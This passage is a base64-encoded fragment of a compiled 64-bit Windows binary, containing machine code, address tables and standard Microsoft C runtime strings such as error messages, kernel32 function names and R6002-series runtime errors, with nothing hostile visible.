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AAAAAAAAAAZGlyZWN0b3J5IG5vdCBlbXB0eQAAAAAAaW52YWxpZCBhcmd1bWVudAAAAAAAAAAAbm8gc3BhY2Ugb24gZGV2aWNlAAAAAAAAbm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAAAAAABmdW5jdGlvbiBub3Qgc3VwcG9ydGVkAABubyBsb2NrIGF2YWlsYWJsZQAAAAAAAABub3QgZW5vdWdoIG1lbW9yeQAAAAAAAAByZXNvdXJjZSB1bmF2YWlsYWJsZSB0cnkgYWdhaW4AAGNyb3NzIGRldmljZSBsaW5rAAAAAAAAAG9wZXJhdGlvbiBjYW5jZWxlZAAAAAAAAHRvbyBtYW55IGZpbGVzIG9wZW4AAAAAAHBlcm1pc3Npb25fZGVuaWVkAAAAAAAAAGFkZHJlc3NfaW5fdXNlAABhZGRyZXNzX25vdF9hdmFpbGFibGUAAABhZGRyZXNzX2ZhbWlseV9ub3Rfc3VwcG9ydGVkAAAAAGNvbm5lY3Rpb25fYWxyZWFkeV9pbl9wcm9ncmVzcwAAYmFkX2ZpbGVfZGVzY3JpcHRvcgAAAAAAY29ubmVjdGlvbl9hYm9ydGVkAAAAAAAAY29ubmVjdGlvbl9yZWZ1c2VkAAAAAAAAY29ubmVjdGlvbl9yZXNldAAAAAAAAAAAZGVzdGluYXRpb25fYWRkcmVzc19yZXF1aXJlZAAAAABiYWRfYWRkcmVzcwAAAAAAaG9zdF91bnJlYWNoYWJsZQAAAAAAAAAAb3BlcmF0aW9uX2luX3Byb2dyZXNzAAAAaW50ZXJydXB0ZWQAAAAAAGludmFsaWRfYXJndW1lbnQAAAAAAAAAAGFscmVhZHlfY29ubmVjdGVkAAAAAAAAAHRvb19tYW55X2ZpbGVzX29wZW4AAAAAAG1lc3NhZ2Vfc2l6ZQAAAABmaWxlbmFtZV90b29fbG9uZwAAAAAAAABuZXR3b3JrX2Rvd24AAAAAbmV0d29ya19yZXNldAAAAG5ldHdvcmtfdW5yZWFjaGFibGUAAAAAAG5vX2J1ZmZlcl9zcGFjZQBub19wcm90b2NvbF9vcHRpb24AAAAAAABub3RfY29ubmVjdGVkAAAAbm90X2Ffc29ja2V0AAAAAG9wZXJhdGlvbl9ub3Rfc3VwcG9ydGVkAHByb3RvY29sX25vdF9zdXBwb3J0ZWQAAHdyb25nX3Byb3RvY29sX3R5cGUAAAAAAHRpbWVkX291dAAAAAAAAABvcGVyYXRpb25fd291bGRfYmxvY2sAAABhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkAAAAAGFkZHJlc3MgaW4gdXNlAABhZGRyZXNzIG5vdCBhdmFpbGFibGUAAABhbHJlYWR5IGNvbm5lY3RlZAAAAAAAAABhcmd1bWVudCBsaXN0IHRvbyBsb25nAABhcmd1bWVudCBvdXQgb2YgZG9tYWluAABiYWQgYWRkcmVzcwAAAAAAYmFkIGZpbGUgZGVzY3JpcHRvcgAAAAAAYmFkIG1lc3NhZ2UAAAAAAGJyb2tlbiBwaXBlAAAAAABjb25uZWN0aW9uIGFib3J0ZWQAAAAAAABjb25uZWN0aW9uIGFscmVhZHkgaW4gcHJvZ3Jlc3MAAGNvbm5lY3Rpb24gcmVmdXNlZAAAAAAAAGNvbm5lY3Rpb24gcmVzZXQAAAAAAAAAAGRlc3RpbmF0aW9uIGFkZHJlc3MgcmVxdWlyZWQAAAAAZXhlY3V0YWJsZSBmb3JtYXQgZXJyb3IAZmlsZSB0b28gbGFyZ2UAAGhvc3QgdW5yZWFjaGFibGUAAAAAAAAAAGlkZW50aWZpZXIgcmVtb3ZlZAAAAAAAAGlsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAGluYXBwcm9wcmlhdGUgaW8gY29udHJvbCBvcGVyYXRpb24AAAAAAABpbnZhbGlkIHNlZWsAAAAAaXMgYSBkaXJlY3RvcnkAAG1lc3NhZ2Ugc2l6ZQAAAABuZXR3b3JrIGRvd24AAAAAbmV0d29yayByZXNldAAAAG5ldHdvcmsgdW5yZWFjaGFibGUAAAAAAG5vIGJ1ZmZlciBzcGFjZQBubyBjaGlsZCBwcm9jZXNzAAAAAAAAAABubyBsaW5rAG5vIG1lc3NhZ2UgYXZhaWxhYmxlAAAAAG5vIG1lc3NhZ2UAAAAAAABubyBwcm90b2NvbCBvcHRpb24AAAAAAABubyBzdHJlYW0gcmVzb3VyY2VzAAAAAABubyBzdWNoIGRldmljZSBvciBhZGRyZXNzAAAAAAAAAG5vIHN1Y2ggcHJvY2VzcwBub3QgYSBkaXJlY3RvcnkAbm90IGEgc29ja2V0AAAAAG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